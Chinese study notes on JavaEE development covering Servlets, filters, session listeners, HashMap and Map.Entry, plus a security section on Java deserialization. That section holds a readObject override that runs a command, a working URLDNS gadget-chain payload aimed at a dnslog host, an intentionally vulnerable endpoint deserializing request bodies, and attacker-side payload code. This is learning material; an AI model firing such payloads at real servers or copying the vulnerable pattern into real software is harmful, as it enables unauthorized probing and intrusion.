xd_day32-day40

实践记录

xd_day32

25版的idea有javaweb的功能了。

配置完要部署

要选**demo:war exploded**

为什么要选它?

  • demo:war :是打包好的静态 .war 包,Tomcat 只会加载打包时的代码,你新写的 HelloServlet2 不会被自动更新进去。
  • demo:war exploded :是「展开式部署」,Tomcat 会直接读取你项目里的最新源码和编译文件target/classes + src/main/webapp),改完代码后只要按 Ctrl+F9 构建,Tomcat 就能立刻加载新代码,非常适合开发阶段。

不然改代码没重启没反应啊。

复制代码
@WebServlet(/hello-servlet")

是配置路由

@WebServlet的是大小写敏感的不要写成webservlet了

java 复制代码
package com.example.demo;

import java.io.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {
    private String message;

    public void init() {
        message = "Hello World!";
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html");

        // Hello
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>" + message + "</h1>");
        out.println("</body></html>");
    }

    public void destroy() {
    }
}

快速总结

-JavaEE 应用&Servlet 路由技术&JDBC&Mybatis 数据库&生命周期-CSDN博客

#JavaEE-HTTP-Servlet&路由&周期

参考:https://blog.csdn.net/qq_52173163/article/details/121110753

1、解释

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他

HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。使用 Servlet

可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建

网页。本章内容详细讲解了 web 开发的相关内容以及 servlet 相关内容的配置使用,是

JAVAEE 开发的重中之重。

2、创建和使用 Servlet

-创建一个类继承 HttpServlet

-web.xml 配置 Servlet 路由

-WebServlet 配置 Servlet 路由

-写入内置方法(init service destroy doget dopost)

3、Servlet 生命周期

见图

4、处理接受和回显

● HttpServletRequest 是 ServletRequest 的子接口

getParameter(name) --- String 通过 name 获得值

getParameterValues --- String 通过 name 获得多值

● HttpServletResponse 是 ServletResponse 的子接口

setCharacterEncoding() 设置编码格式

setContentType() 设置解析语言

getWriter() 获得一个 PrintWriter 字符输出流输出数据

PrintWriter 接受符合类型数据

#JavaEE-数据库-JDBC&Mybatis&库

-原生态数据库开发:JDBC

参考:https://www.jianshu.com/p/ed1a59750127

JDBC(Java Database connectivity): 由 java 提供,用于访问数据库的统一 API

接口规范.数据库驱动: 由各个数据库厂商提供,用于访问数据库的 jar 包(JDBC 的具体

实现),遵循 JDBC 接口,以便 java 程序员使用!

1、下载 jar

https://mvnrepository.com/

2、引用封装 jar

创建 lib 目录,复制导入后,添加为库

jdbc有预编译的· 提前编好执行逻辑 注入的语句不会改变原有

day33

第33天:安全开发-JavaEE应用 - my-kon-blog

并且路由大小写也是敏感的

  • Windows 文件系统 :NTFS 等文件系统确实不区分大小写Hello.txthello.txt 会被视为同一个文件。
  • Tomcat / Servlet 规范URL 路由是严格大小写敏感的 ,这是 Java Servlet 规范的要求,Tomcat 会严格按照你写的 @WebServlet("/Hello") 来匹配请求路径:
    • 访问 /Hello ✅ 匹配成功
    • 访问 /hello ❌ 匹配失败(404)
java 复制代码
package com.example.demo;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/Hello")
public class HelloServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String code = req.getParameter("code");
        PrintWriter out = resp.getWriter();
        out.println(code);
        out.flush();
        out.close();
    }
}
//resp.getWriter() 返回一个 PrintWriter 对象,允许向HTTP响应输出字符内容。
//out.println(code); 将 code 变量的内容打印到响应中,这样客户端就能看到这个值。
//out.flush(); 强制将缓冲区中的数据写出(即发送给客户端),确保没有数据滞留在缓冲区内。
//out.close(); 关闭 PrintWriter,释放资源。这一步很重要,因为它确保了资源得到适当的清理。
java 复制代码
package com.example.demo;


import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/admin")
public class AdminServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("欢迎进入管理员页面");
    }
}

1. 只要用了 @WebFilter 就会被当作过滤器吗?

前提满足的话:是的!完全是!

生效的两个必要条件(缺一不可):

  1. 类上添加 @WebFilter("/路径") 注解
  2. 实现 javax.servlet.Filter 接口 (重写 doFilter/init/destroy
java 复制代码
package com.example.demo;


import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebFilter("/Hello")
public class XssFil implements Filter {
    @Override
    //中间件启动后就自动运行
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("xss开启过滤");
    }
    @Override
    //中间件关闭后就自动运行
    public void destroy() {
        System.out.println("xss销毁过滤");
    }
    @Override
    //doFilter 访问路由触发的方法
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("xss正在过滤");
    }
}

1. 执行逻辑(最重要!)

同一个路由下,执行顺序永远固定

  1. 先执行 Filter(过滤器) → 做前置处理(XSS 过滤、权限校验、日志打印)
  2. Filter 中调用 filterChain.doFilter()放行
  3. 再执行 Servlet → 处理业务逻辑

要加filterChain.doFilter(servletRequest, servletResponse);放行拦截。

java 复制代码
package com.example.demo;


import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebFilter("/Hello")
public class XssFil implements Filter {
    @Override
    //中间件启动后就自动运行
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("xss开启过滤");
    }
    @Override
    //中间件关闭后就自动运行
    public void destroy() {
        System.out.println("xss销毁过滤");
    }
    @Override
    //doFilter 访问路由触发的方法
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("xss正在过滤");
       
        //放行数据code的的数据
        //所以就需要在放行之前就需要进行过滤,就是在下面这行代码之前进行过滤
        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("xss过滤完毕");
    }
}

监听器

Web应用监听器实战:在线人数统计与事件处理-CSDN博客

req.getSession() 全称是 req.getSession(true),Java 封装了全部逻辑,你一行代码就搞定所有事:

  1. 检查浏览器请求里有没有带 JSESSIONID 这个 Cookie
  2. 没有自动创建新的 Session 对象
  3. 自动生成 JSESSIONID Cookie 发给浏览器 (不用你手动 new Cookie
  4. 有 → 直接拿到已存在的 Session
java 复制代码
package com.example.demo;

//Csession的代码


import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;

@WebServlet("/csession")
public class Csession extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("创建session");
        req.getSession();//创建session

    }
}
java 复制代码
package com.example.demo;

//Dsession的代码


import javax.servlet.ServletException;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/dsession")
public class Dsession extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("销毁session");
        req.getSession().invalidate();//销毁session

    }
}

实现HttpSessionListener接口

java 复制代码
package com.example.demo;

//监听器的java代码


import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
import java.awt.*;

@WebListener//来个这个就来监听session的创建和销毁,因为你访问的地址,有创建和销毁session的动作,所以被监听器给捕获到了所以就检测到
public class listensession implements HttpSessionListener {//监听session的东西
    @Override
    public void sessionCreated(HttpSessionEvent se) {
        System.out.println("监听器已经创建");
    }
    @Override
    public void sessionDestroyed(HttpSessionEvent se) {
        System.out.println("监听器已经销毁");

    }
}
  • 接口定义规则 HttpSessionListener 是 JavaWeb 规定好的标准接口,只要你实现它,就代表你要监听 Session

  • 必须重写 2 个方法(接口强制要求)

    复制代码
    // Session 被创建时 自动执行(调用 req.getSession() 瞬间触发)
    sessionCreated()
    
    // Session 被销毁时 自动执行(超时/关闭/手动销毁)
    sessionDestroyed()
  • **加上 @WebListener**告诉 Tomcat:这是监听器,启动时自动加载。

  • Servlet/Filter 是为请求服务的,必须指定:拦截 / 处理哪个网址

  • 你的监听器是为 Session 事件 服务的:只要项目里任何地方 创建了 Session,它就自动触发,不管是哪个路由、哪个用户触发的

  • 只有创建或销毁的时候才会触发HttpSessionListener的监听。

day35

第35天:安全开发-JavaEE应用 - my-kon-blog

知识点:

  1. JavaEE-反序列化-解释&使用&安全:核心围绕JavaEE环境中反序列化的基本原理、实际应用场景及潜在安全风险,是理解后续安全问题的基础。
  2. JavaEE-安全-利用链&直接重写方法 :聚焦通过直接重写关键方法(如readObject)构建反序列化利用链的机制,是反序列化漏洞利用的常见方式。
  3. JavaEE-安全-利用链&外部重写方法:探讨借助外部类(非自定义类,如JDK自带类)的重写方法形成利用链的思路,如HashMap等类的漏洞利用。

演示案例:

  • Java-原生使用-序列化&反序列化:展示Java中序列化与反序列化的基础操作流程。
  • Java-安全问题-重写方法&触发方法:演示重写toStringreadObject方法可能引发的安全问题及触发方式。
  • Java-安全问题-可控其他类重写方法:以HashMap和URL为例,分析利用第三方类的方法调用链导致的安全风险。

Java序列化&反序列化-概念

  1. 序列化与反序列化

    • 序列化:将内存中的对象转换为字节流(包含对象数据、类型、属性等信息),便于存储或传输。
    • 反序列化:将字节流还原为内存中的对象,恢复对象的状态。
      核心作用:实现对象的跨进程/跨网络传输及持久化存储。
  2. 为什么有序列化技术

    序列化是数据传输和持久化的基础,主要应用场景包括:

    • 将对象持久化到文件或数据库中。
    • 跨网络(如套接字通信)传输对象。
    • 远程方法调用(RMI)中传输对象。
  3. 常见序列化/反序列化协议

    • JAVA内置:writeObject()/readObject()(原生序列化)、XMLDecoder()/XMLEncoder
    • 第三方库:XStream、SnakeYaml、FastJson、Jackson
      不同协议的实现逻辑不同,安全风险点也存在差异(如FastJson的autoType漏洞)。
  4. 反序列化安全问题根源

    核心在于反序列化过程中会自动执行对象的某些方法(如readObject),若这些方法被恶意重写或调用链中包含危险操作(如执行命令、访问敏感资源),攻击者可通过构造恶意序列化数据触发漏洞。常见风险点:

    • 重写readObject方法植入恶意逻辑。
    • 反序列化后输出对象时触发toString方法中的危险操作。
  5. 反序列化利用链

    利用链(Gadget Chain)是指一系列方法调用的链条,最终触发危险操作。常见类型:

    (1) 入口类的readObject直接调用危险方法(如Runtime.exec)。

    (2) 入口类参数包含可控类,该类有危险方法且被readObject调用。

    (3) 多级调用:入口类调用A类方法,A类再调用B类危险方法,形成链条。

    (4) 类加载时隐式执行:构造函数、静态代码块等在类加载阶段执行,若被反序列化触发则存在风险。

Java-原生使用-序列化&反序列化

完整实现步骤:

  1. 创建可序列化类 (实现Serializable接口)
java 复制代码
package com.example.serialtestdemo;

import java.io.Serializable;

// 用户信息类,实现Serializable接口以支持序列化

public class UserDemo implements Serializable {

// 公共成员变量(会被序列化)

public String name = "xiaodi";

public String gender = "man";

public Integer age = 30;

// 构造方法(序列化时不会执行,反序列化也不会自动调用)

public UserDemo(String name, String gender, Integer age) {

this.name = name;

this.gender = gender;

this.age = age;

System.out.println(name);

System.out.println(gender);

}

// toString方法,用于打印对象信息(反序列化后输出对象时调用)

public String toString() {

return "User{" +

"name='" + name + '\'' +

", gender='" + gender + '\'' +

", age=" + age +

'}';

}

}

这里定义属性的时候String的S要大写,Java里有的是 java.lang.String

String 首字母必须大写,因为它是 Java 的【类(Class)】,不是基本数据类型! Java 规定:所有类名,首字母必须大写(这是强制语法规范)。

  1. 序列化实现类
java 复制代码
package com.example.serialtestdemo;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

// 序列化演示类

public class SerializableDemo {

public static void main(String[] args) throws IOException {

// 创建用户对象

UserDemo u = new UserDemo("xdsec", "gay1", 30);

// 调用序列化方法,将对象写入ser.txt

SerializableTest(u);

// ser.txt中存储的是对象u的字节流数据

}

// 序列化方法:将对象转换为字节流并写入文件

public static void SerializableTest(Object obj) throws IOException {

// 关联文件输出流,指定输出文件为ser.txt

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));

// 执行序列化写入

oos.writeObject(obj);

oos.close(); // 关闭流释放资源

}

}
  1. 反序列化实现类
java 复制代码
package com.example.serialtestdemo;

import java.io.FileInputStream;

import java.io.IOException;

import java.io.ObjectInputStream;

// 反序列化演示类

public class UnserializableDemo {

public static void main(String[] args) throws IOException, ClassNotFoundException {

// 反序列化ser.txt,得到对象

Object obj = UnserializableTest("ser.txt");

// 输出对象(默认调用toString方法)

System.out.println(obj);

}

// 反序列化方法:从文件读取字节流并还原为对象

public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {

// 关联文件输入流,读取指定文件

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));

// 执行反序列化

Object o = ois.readObject();

ois.close(); // 关闭流释放资源

return o;

}

}

这里FileInputStream和FileOutputStream的参数都是ser.txt,不过一个是从ser.txt读取,一个是写入ser.txt,然后外层都是Object流,

ObjectInputStreamObjectOutputStream 是高层次的数据流,它们包含反序列化和序列化对象的方法。

ObjectOutputStream 类包含很多写方法来写各种数据类型,但是一个特别的方法例外:

复制代码
public  final  void  writeObject(Object  x)  throws  IOException

上面的方法序列化一个对象,并将它发送到输出流。相似的 ObjectInputStream 类包含如下反序列化一个对象的方法:

复制代码
public  final  Object  readObject()  throws  IOException, ClassNotFoundException

该方法从流中取出下一个对象,并将对象反序列化。它的返回值为Object,因此,你需要将它转换成合适的数据类型。

不自己敲一遍,都不是自己的。

import java.io.Serializable;

Serializable的首字母也是大写的

Java-安全问题-重写方法&触发方法

java 复制代码
// 重写readObject方法,自定义反序列化逻辑
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    // 先执行默认的反序列化(必须调用,否则对象属性无法正确还原)
    ois.defaultReadObject();
    // 危险操作:反序列化时直接执行系统命令(打开计算器)
    Runtime.getRuntime().exec("calc");
}

但是一般readObject是服务器代码,是开发写的,客户端时无法重写的。

你现在把 readObject 写在主类 Unserializedemo,但 Java 反序列化的规则是:

只有当 readObject 方法定义在【被序列化的实体类(比如 User)】里面时,反序列化时才会自动触发它!

写在主类里的 readObject 和反序列化流程完全无关,所以永远不会执行里面的 Runtime.getRuntime().exec("calc")

序列化 / 反序列化 是针对「对象」的操作,不是针对「工具类 / 主类」的操作! 你序列化的是 User 对象,反序列化还原的也是 User 对象,所以自定义的反序列化逻辑,必须绑定在 User 类自己身上

所以这里就可以思考一下,如果有些类自己重写了readObject方法呢。

HashMap的反序列化风险源于其重写的readObject方法,urldns链就是用的HashMap

urldns链

URLDNS链的利用效果是只能触发一次dns请求,而不能去执行命令。适用于漏洞验证,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。 在一些漏洞利用没有回显的时候,我们也可以使用到该链来验证漏洞是否存在

核心真相(100% 大白话)

readObject() 本身完全正常、完全安全,不是漏洞!漏洞不是 readObject(),漏洞是:开发者把【你传给他的恶意数据】,塞进了 readObject() 里!


我直接回答你的灵魂拷问:

正常反序列化不都是放到 readObject () 里执行吗?对!完全对!但「正常反序列化」和「漏洞反序列化」有天壤之别!

1. 【正常代码】(安全,无漏洞)

开发者只反序列化 自己生成的、可信的数据

复制代码
// 服务器自己存的用户信息,自己读回来
ObjectInputStream ois = new ObjectInputStream(本地文件流);
User user = (User) ois.readObject(); 

👉 只读自己写的安全数据 👉 你传任何恶意数据,服务器根本不看! 👉 传 URLDNS → 无 DNS 请求,没反应

2. 【漏洞代码】(这才是漏洞!)

开发者脑残 ,把用户上传的、未知的、恶意的数据 ,直接丢进 readObject()

复制代码
// 接收用户传的数据流,直接反序列化!!!
InputStream 用户上传的数据 = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(用户上传的数据);
ois.readObject();  // 噩梦开始

👉 你传啥,它就反序列化啥👉 传 URLDNS → 触发 DNS👉 传 命令执行链 → 服务器中招


那 URLDNS 到底是测什么?

URLDNS 只测一件事:

服务器是不是在反序列化我传过去的数据

  • 触发 DNS = 是!真的在读我传的数据 → 有漏洞
  • 不触发 DNS = 否!服务器没读我的数据 → 无漏洞

原理分析:

HashMap的readObject方法在反序列化时会调用putVal,进而调用hash方法,最终触发URL.hashCode()。而URL.hashCode()会解析URL并发起网络请求(如DNS查询),若URL可控,可用于探测反序列化漏洞(无回显场景下的DNSlog验证)。

利用链(Gadget Chain):

HashMap.readObject() → HashMap.putVal() → HashMap.hash() → URL.hashCode()

代码实现:
java 复制代码
package com.example.serialtestdemo;

import java.io.*;

import java.net.URL;

import java.util.HashMap;

public class UrLDns implements Serializable {

public static void main(String[] args) throws IOException, ClassNotFoundException {

// 创建HashMap对象(JDK自带类,存在反序列化调用链)

HashMap<URL, Integer> hash = new HashMap<>();

// 构造恶意URL(指向DNSlog域名,用于检测请求)

URL u = new URL("http://vnq09p.dnslog.cn");

// 将URL放入HashMap(序列化时存储该键值对)

hash.put(u, 1);

// 序列化HashMap对象到dns.txt

SerializableTest(hash);

// 反序列化dns.txt,触发利用链

UnserializableTest("dns.txt");

}

// 序列化方法:将对象写入文件

public static void SerializableTest(Object obj) throws IOException {

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.txt"));

oos.writeObject(obj);

oos.close();

}

// 反序列化方法:从文件读取对象,触发链调用

public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));

Object o = ois.readObject(); // 反序列化时自动执行HashMap.readObject()

ois.close();

return o;

}

}

实际上正常在序列化过程中,传入dnslog地址也会有数据回显,因为在序列化过程中同时也调用了hashCode(hashCode传入初始值为-1,也会触发dnslog。图中注释部分与前面讲的JAVA反射技术就是为了动态修改url.Class类中初始hashCode的值,使其不为-1,以避免在探测漏洞时产生误报)

就是要探测的是反序列化任意用户输入数据。

HashMap

java基础不好还是得学

Java HashMap | 菜鸟教程

HashMap 概述

HashMap 是 Java 中最常用的集合类之一,它基于哈希表实现,提供了快速的键值对(key-value)存储和查询能力。

核心特点

特性 说明
键值对存储 每个元素包含一个键(Key)和一个值(Value)
键唯一 键不能重复,重复的键会覆盖旧值
允许null 允许一个 null 键和多个 null 值
非线程安全 多线程环境下需要外部同步或使用 ConcurrentHashMap
无序 不保证元素的顺序(JDK 1.8 后链表优化为红黑树)

基本用法示例

java 复制代码
import java.util.HashMap;

public class HashMapDemo {
    public static void main(String[] args) {
        // 1. 创建 HashMap
        // Key 类型为 String,Value 类型为 Integer
        HashMap<String, Integer> scores = new HashMap<>();
        
        // 2. 添加元素(put方法)
        scores.put("张三", 90);
        scores.put("李四", 85);
        scores.put("王五", 92);
        
        // 3. 获取元素(get方法)
        int zhangScore = scores.get("张三");  // 返回 90
        
        // 4. 检查是否包含某个键
        boolean hasLi = scores.containsKey("李四");  // true
        
        // 5. 获取大小
        int size = scores.size();  // 3
        
        // 6. 遍历 HashMap
        // 方式1:遍历键
        for (String name : scores.keySet()) {
            System.out.println(name + ": " + scores.get(name));
        }
        
        // 方式2:遍历键值对
        for (Map.Entry<String, Integer> entry : scores.entrySet()) {
            System.out.println(entry.getKey() + " = " + entry.getValue());
        }
        
        // 7. 删除元素
        scores.remove("王五");
        
        // 8. 更新值(键存在则覆盖,不存在则添加)
        scores.put("张三", 95);  // 更新为95分
    }
}

Java Map.Entry接口详解与使用entrySet遍历Map的方法-开发者社区-阿里云

java 复制代码
package com.example.demo;



import java.util.HashMap;
import java.util.Map;

public class MapEntryExample {


    public static void main(String[] args) {

        // 创建一个HashMap
        Map<String, Integer> scores = new HashMap<>();
        scores.put("Alice", 90);
        scores.put("Bob", 85);
        scores.put("Charlie", 95);

        // 使用entrySet()方法获取所有的Entry对象集合
        for (Map.Entry<String, Integer> entry : scores.entrySet()) {

            String key = entry.getKey();
            Integer value = entry.getValue();
            System.out.println("Key: " + key + ", Value: " + value);
        }
    }
}

官方文档确认:

Map.Entry 是内部接口

Oracle 官方文档 明确说明:

复制代码
public static interface Map.Entry<K,V>

关键信息

  • Enclosing interface: Map<K, V> ------ 它是 Map 的封闭接口(内部接口)

  • A map entry (key-value pair) ------ 表示一个键值对

第一步:map.entrySet() 返回的是啥?

复制代码
scores.entrySet()

返回的是一个 Set 集合 ,里面装的是所有键值对

复制代码
scores = { "张三"=90, "李四"=85, "王五"=92 }

scores.entrySet() 返回:
┌─────────────────────────────────────────┐
│  Set 集合(类似数组,但无序不重复)        │
│                                         │
│  [ Entry("张三", 90), Entry("李四", 85), │
│    Entry("王五", 92) ]                  │
│     ↑        ↑                          │
│    key     value                        │
└─────────────────────────────────────────┘

类型是Set<Map.Entry<String, Integer>>


第二步:for循环在干嘛?

复制代码
for (Map.Entry<String, Integer> entry : scores.entrySet())

这是增强for循环 (foreach),作用是遍历集合中的每个元素

复制代码
第1轮循环:entry = Entry("张三", 90)
第2轮循环:entry = Entry("李四", 85)  
第3轮循环:entry = Entry("王五", 92)

entry 是变量名 ,你可以改叫 eitemkv 都行。


第三步:entry 是对象吗?

是的!entry 是一个对象(实例)

复制代码
Map.Entry<String, Integer> entry
│      │           │        │
│      │           │        └── 变量名(引用)
│      │           └────────── 值的类型是 Integer
│      └────────────────────── 键的类型是 String
└───────────────────────────── 接口类型(说明这个对象实现了Entry接口)

entry 指向的对象 = HashMap 内部的 Node 对象(实现了 Map.Entry 接口)

复制代码
内存中:
entry ─────→ Node 对象
              ├── key = "张三"      ← entry.getKey() 取这个
              ├── value = 90        ← entry.getValue() 取这个
              └── hash = ...

完整图解

复制代码
代码:for (Map.Entry<String, Integer> entry : scores.entrySet())

执行过程:

┌─────────────────┐
│  scores.entrySet() 返回 Set 集合  │
│  [Entry("张三",90), Entry("李四",85)] │
└────────┬────────┘
         │
         ▼
┌─────────────────────────┐
│  for循环:逐个取出元素    │
│                         │
│  第1轮:entry ─────→ Entry("张三", 90) │
│           entry.getKey()   → "张三"    │
│           entry.getValue() → 90        │
│                         │
│  第2轮:entry ─────→ Entry("李四", 85) │
│           entry.getKey()   → "李四"    │
│           entry.getValue() → 85        │
└─────────────────────────┘

官方文档精准翻译(通俗直白版)

复制代码
entrySet
public Set<Map.Entry<K,V>> entrySet()

方法描述翻译

返回此 Map 中包含的所有键值对Set 集合视图。该集合和原 Map 是绑定关系,修改原 Map 会同步影响这个集合,修改这个集合也会同步影响原 Map。如果在遍历这个集合的过程中,强行修改了原 Map(除了用迭代器自带的删除 / 修改方法外),遍历结果会失效。该集合支持删除元素 (会同步删除 Map 里的键值对),不支持添加元素


标注翻译

  • Specified by : 该方法是 Map 接口规定必须实现的方法
  • Specified by : 该方法重写了父类 AbstractMap 中的方法

返回值翻译

返回包含此 Map 所有键值对Set 集合

问题1:为什么用 Map.Entry 声明变量?

复制代码
for (Map.Entry<String, Integer> entry : scores.entrySet())
//     ↑ 这是接口类型          ↑ 这是实际对象

答案:因为多态(接口编程)

复制代码
HashMap内部:                       你看到的:
┌─────────────────┐                ┌─────────────────┐
│  Node 类         │  实现了        │  Map.Entry 接口   │
│  (具体实现)       │ ───────────→  │  (规范/抽象)      │
│                 │                │                 │
│  key 属性        │                │  getKey() 方法   │
│  value 属性      │                │  getValue() 方法 │
│  hash 属性       │                │                 │
└─────────────────┘                └─────────────────┘

你只知道:entry 有 getKey() 和 getValue()
你不知道也不关心:entry 到底是 Node 还是其他类

好处 :不管 HashMap 内部用 Node 还是 TreeNode,你都用统一的方式访问。


问题2:接口能声明变量?

能! 这是Java的核心特性:接口引用指向实现类对象

复制代码
// 假设
interface Animal { void speak(); }
class Dog implements Animal { void speak() { System.out.println("汪"); } }

// 这样完全可以:
Animal a = new Dog();  // 接口变量指向实现类对象
a.speak();             // 调用的是 Dog 的 speak()

对应到 Entry

复制代码
// HashMap内部
class Node implements Map.Entry {  // Node 实现了 Entry 接口
    public Object getKey() { return key; }
    public Object getValue() { return value; }
}

// 你的代码
Map.Entry<String, Integer> entry = new Node("张三", 90);  // 多态
entry.getKey();  // 实际调用 Node.getKey()

完整图解

复制代码
scores.entrySet() 返回:
Set {
    Node("张三", 90),   ← 实际对象是 Node
    Node("李四", 85),   ← 实际对象是 Node
    Node("王五", 92)    ← 实际对象是 Node
}

for循环:
    entry ─────→ Node("张三", 90)
    ↑              └── 实现了 Map.Entry 接口
    │
Map.Entry<String, Integer> entry  ← 用接口类型声明变量

你只能看到接口方法:
    entry.getKey()   → 调用 Node.key
    entry.getValue() → 调用 Node.value
    
你看不到 Node 的内部属性 (hash, next等)

为什么这样设计?

设计 原因
接口声明变量 隐藏实现细节,只暴露必要方法
entrySet() 返回 Set 符合"集合是一组元素"的语义
Set 里装 Entry 对象 每个键值对是一个独立对象,可以单独操作

一句话

Map.Entry 是接口(规范),Node 是实现类(具体)。用接口声明变量,可以统一操作所有实现类,不管 HashMap 内部用的是链表节点还是红黑树节点。

java 复制代码
package com.example.demo;



import java.util.HashMap;
import java.util.Map;
import java.util.Set;

public class EntrySetTest {
    public static void main(String[] args) {

        Map<String, Integer> scores = new HashMap<>();
        scores.put("Alice", 90);
        scores.put("Bob", 85);
        scores.put("Charlie", 95);

        // 1️⃣ 获取 entrySet
        Set<Map.Entry<String, Integer>> entries = scores.entrySet();

        // 验证:entrySet 本身是什么类型
        System.out.println("entrySet 类型: " + entries.getClass());

        // 2️⃣ 遍历 entrySet
        for (Map.Entry<String, Integer> entry : entries) {

            // 验证:entry 是什么类型
            System.out.println("entry 实际类型: " + entry.getClass());

            // 验证:entry 里面确实有 key 和 value
            System.out.println("key = " + entry.getKey());
            System.out.println("value = " + entry.getValue());

            System.out.println("-----------");
        }
    }
}

一、先给你结论

class java.util.HashMap$EntrySet

👉 表示:

HashMap 里的一个内部类(EntrySet)


二、这个 $ 是什么意思?

这是重点👇

HashMap$EntrySet

👉 在 Java 里表示:

EntrySet 是 HashMap 的内部类

等价源码写法:

class HashMap<K,V> {

final class EntrySet extends AbstractSet<Map.Entry<K,V>> {

// ...

}

}


三、所以它是类吗?

✔ 是类

✔ 还是一个内部类(Inner Class)

✔ 还是一个 集合类(Set)


四、它的作用是什么?

👉 一句话:

把 HashMap 里的所有 Node(键值对)包装成一个 Set

算了会遍历就行了

Map.Entry学习和详解_map entry-CSDN博客

本地测试 vs 真实漏洞利用

本地测试(你的代码)

复制代码
// 本地测试:先写文件,再读文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.txt"));
oos.writeObject(hash);  // 写到本地文件

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("dns.txt"));
ois.readObject();  // 从本地文件读

目的 :验证漏洞原理,确认readObject()能触发DNS请求。


真实漏洞利用(反序列化接口)

目标 :找到一个接受用户输入并反序列化的接口。

复制代码
// 漏洞接口的典型写法(危险!)
@PostMapping("/parse")
public Object parseData(@RequestBody byte[] data) throws Exception {
    ByteArrayInputStream bis = new ByteArrayInputStream(data);  // 接收字节流!
    ObjectInputStream ois = new ObjectInputStream(bis);
    return ois.readObject();  // 直接反序列化用户输入!
}

攻击方式

复制代码
// 攻击者代码:生成payload字节数组
HashMap<URL, Integer> hash = new HashMap<>();
URL u = new URL("http://xxx.dnslog.cn");
hash.put(u, 1);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hash);
byte[] payload = baos.toByteArray();  // 序列化后的字节数组!

// HTTP发送给目标接口
// POST /parse body=payload

核心区别

场景 数据来源 流类型
本地测试 本地文件 dns.txt FileInputStream
真实利用 HTTP请求体 / Socket ByteArrayInputStream

为什么用字节流?

复制代码
攻击者视角:
┌─────────────────┐     序列化        ┌─────────────────┐
│  HashMap对象     │ ─────────────→  │  字节数组payload  │
│  (包含恶意URL)   │                 │  [0xAC, 0xED...] │
└─────────────────┘                 └────────┬────────┘
                                             │
                                             ▼ HTTP POST
                                        ┌─────────────────┐
                                        │  目标服务器接口   │
                                        │  ByteArrayInput │
                                        │  readObject()   │
                                        │       ↓         │
                                        │  触发DNS请求    │
                                        └─────────────────┘

关键点 :序列化后的数据是字节数组,可以通过任何方式传输(HTTP、TCP、WebSocket等)。


一句话总结

本地测试用 FileInputStream 读写文件,真实攻击用 ByteArrayInputStream 直接传字节数组

day36

第36天:安全开发-JavaEE应用 - my-kon-blog

Maven 是 Java 项目的「管家 + 快递员」,专门干两件事:

  1. 管理依赖(核心!和你复现漏洞直接相关) 以前写 Java,需要用到别人写的工具包(比如数据库、网络组件),得自己去官网下载 jar 包、手动导入项目,版本错了就报错。用 Maven,你只需要在pom.xml里写一行代码,指定组件名称 + 版本号 ,它就自动从云端下载对应版本的包 ,不用你管下载、导入、兼容问题。✅ 教程说「配置漏洞版本」,就是让 Maven 下载有漏洞的旧版本,这是复现漏洞的关键!
  2. 自动构建项目帮你编译代码、打包、运行,一键搞定,不用手动操作。

知识点:

  1. JavaEE-组件安全-Log4j

